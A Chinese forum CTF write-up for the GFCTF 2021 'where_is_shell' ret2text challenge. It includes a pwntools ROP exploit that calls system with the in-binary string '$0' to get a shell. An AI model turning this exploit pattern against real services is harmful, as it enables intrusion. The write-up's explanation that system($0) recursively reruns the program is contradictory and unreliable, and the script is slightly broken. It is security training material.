不重要的前言废话:做到了一个ret2text题,有一个值得稍微深入了解的知识点先看看题[GFCTF 2021]where_is_shell一、新知识点可以利用system($0)获得shell权限,$0在机器码中为 \x24\x30,而$0指代的就是"/bin/sh"二、解题看看字符串,shift+F12有system(),无/bin/sh注意到旁边函数表里有个函数名叫 tips(),有提示看看tips(),发现有一个特殊的机器码 \x24\x30,即 $0,执行system($0),一样可以getshell0x400540:E80x400541:240x400542::30在 IDA Pro 中显示机器码(原始字节)调整反汇编选项点击菜单栏的 Options → General...在 Disassembly 选项卡下,勾选 "Number of opcode bytes" 并设置要显示的字节数(如 10)这样每条指令前都会固定显示机器码有两种 payload,要么跳转到,call _system,从而避免栈对齐问题,要么跳转到 system@plt,但需要注意栈对齐问题和```from pwn import *
context(os="linux", arch="amd64", log_level="debug")io = process("./shell")
#io = remote("node4.anna.nssctf.cn", 28968)
pop_rdi_ret = 0x4005e3
shell = 0x400557
shell_plt = 0x400430
bin_sh = 0x400541
ret = 0x400416#payload = b"a"(0x18) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(shell_plt)
或
#payload = b"a"(0x18) + p64(pop_rdi_ret) + p64(bin_sh) + p64(shell)#gdb.attach(io)
io.sendline(payload)
io.interactive()```
为什么可以通过system($0)来getshell?$0代表程序本身,因为之前已经执行过system(),再执行system($0),就可以重新打开shell,调用 system@plt,相当于执行 system(argv[0]),重新以程序自身作为命令启动,从而获取 shell。意思就是$0实际上就是程序自己比如说test.sh的$0就是test.sh而system函数实际上是让shell创建一个新的进程,交给sh处理,而sh的$0就是shellshell -c bashsystem()函数shell(Linux/Unix系统) 命令,参数字符串command为命令名在Linux/Unix系统中,system函数会调用fork函数产生子进程,由子进程来执行command命令,命令执行完后随即返回原调用的进程。比如说 执行 system("cat /flag"),system()函数执行完参数 cat /flag 后,就会退出当前子进程,无法再进行后续的命令执行。而 执行 system("/bin/sh"),system()函数 产生子进程 后,执行 /bin/sh == /sh 就会在当前子进程下,再创建一个子进程,相当于打开了一个命令行,让我们可以进行持续的命令操作。具体演示一下:在一个linux系统下,打开一个终端,输入 $0 ,回车,再按 Ctrl + D,退出当前shell会话,会发现我们只是退出了子进程。当我们打开终端时,相当于已经执行了 system(/bin/sh)了,我们在 终端输入的内容,就是 system( ),的参数,输入 $0 会创建一个新的进程,重新运行当前程序或脚本,导致递归执行或者,为了更加直观的感受在终端 执行 $0 的效果,我们可以 在终端输入 $0 ,再鼠标点击 X ,直接关闭终端,此时会弹出报错!报错信息显示 :我们的终端下 ,正运行着一个 子进程 ,关闭终端 , 会杀死 子进程。而这个子进程,正是 我们 在终端行 输入 $0 后 ,执行终端程序自身的递归调用 ,即创建一个新的进程,重新运行当前程序或脚本那如果我们在终端输入 sh ,回车后 ,再输入 exit ,退出当前shell会话,与之前相比,会有什么不一样吗?(为了方便观察,我多输入了一次回车)可以看到,我们在终端执行 sh 会重新启动一个新的交互式 shell 会话,而不是 终端命令行的自身调用。总结:1. system("/bin/sh") 作用: 直接调用系统的默认 Shell(/bin/sh),启动一个新的交互式 Shell 会话。特点:启动的 Shell 会继承当前进程的权限(如果原进程有 SUID 权限,新 Shell 可能具有高权限)。用户可在此 Shell 中执行任意命令(如 whoami、cat /etc/passwd 等)。2. system($0) 作用: 调用当前程序或脚本自身($0 表示当前程序/脚本的名称),导致递归执行。在 Shell 脚本中,$0 是脚本自身的路径,例如:#!/bin/bashsystem($0) # 重新执行当前脚本(可能导致无限循环)在 C 语言中,$0 对应 argv[0],即程序名称:#include <stdlib.h>int main(int argc, char *argv[]) { system(argv[0]); // 递归执行当前程序 return 0;特点:会创建一个新的进程,重新运行当前程序或脚本。如果没有终止条件,可能导致无限递归,最终耗尽系统资源(如内存、PID)。区别:使用 system("/bin/sh") 是为了获取一个交互式 Shell使用 system($0) 是为了递归调用程序自身
[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于 2025-8-27 18:44
被Icyice01编辑
,原因: 文字排版有一些问题
---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-288254.htm
[原创]理解 system($0)
242 浏览
0 回复
暂无回复,快来抢沙发吧!